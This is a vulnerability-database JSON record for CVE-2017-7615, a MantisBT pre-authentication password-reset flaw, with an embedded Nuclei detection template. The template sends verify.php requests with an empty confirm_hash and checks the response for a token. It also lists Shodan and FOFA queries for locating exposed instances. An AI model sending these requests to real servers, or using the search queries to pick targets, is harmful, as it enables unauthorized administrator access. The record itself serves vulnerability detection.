{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2017-7615/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2017-7615/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2017-7615/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2017-7615/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2017-7615/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2017-7615"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2017-7615"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2017/CVE-2017-7615.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2017-7615\n\n# THIS TEMPLATE IS ONLY FOR DETECTING\n# To carry out further attacks, please see reference[2] below.\n# This template works by guessing user ID.\n# MantisBT before 1.3.10, 2.2.4, and 2.3.1, that can be downloaded on reference[1].\ninfo:\n  name: MantisBT <=2.30 - Arbitrary Password Reset/Admin Access\n  author: bp0lr,dwisiswant0\n  severity: high\n  description: |\n    MantisBT through 2.3.0 allows arbitrary password reset and unauthenticated admin access via an empty confirm_hash value to verify.php.\n  impact: |\n    Successful exploitation of this vulnerability can lead to unauthorized password resets and unauthorized administrative access.\n  remediation: |\n    Upgrade MantisBT to a version higher than 2.30 to mitigate this vulnerability.\n  reference:\n    - https://sourceforge.net/projects/mantisbt/files/mantis-stable/\n    - http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt\n    - https://www.exploit-db.com/exploits/41890\n    - http://www.openwall.com/lists/oss-security/2017/04/16/2\n    - https://nvd.nist.gov/vuln/detail/CVE-2017-7615\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2017-7615\n    cwe-id: CWE-640\n    epss-score: 0.91196\n    epss-percentile: 0.99809\n    cpe: cpe:2.3:a:mantisbt:mantisbt:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 5\n    vendor: mantisbt\n    product: mantisbt\n    shodan-query:\n      - http.favicon.hash:662709064\n      - cpe:\"cpe:2.3:a:mantisbt:mantisbt\"\n    fofa-query: icon_hash=662709064\n  tags: cve,cve2017,mantisbt,unauth,edb,vuln,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/verify.php?id=1&confirm_hash=\"\n      - \"{{BaseURL}}/mantis/verify.php?id=1&confirm_hash=\"\n      - \"{{BaseURL}}/mantisBT/verify.php?id=1&confirm_hash=\"\n      - \"{{BaseURL}}/mantisbt-2.3.0/verify.php?id=1&confirm_hash=\"\n      - \"{{BaseURL}}/bugs/verify.php?confirm_hash=&id=1\"\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"<input type=\\\"hidden\\\" name=\\\"account_update_token\\\" value=\\\"([a-zA-Z0-9_-]+)\\\"\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502207765ebcf55d498e8f79d3cd9ccb128978fc7917f977a2daae597612357341335022100d88147422d8626d366288017f84774c964859a569296974b06ea836776d1f121:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2017-7615"
}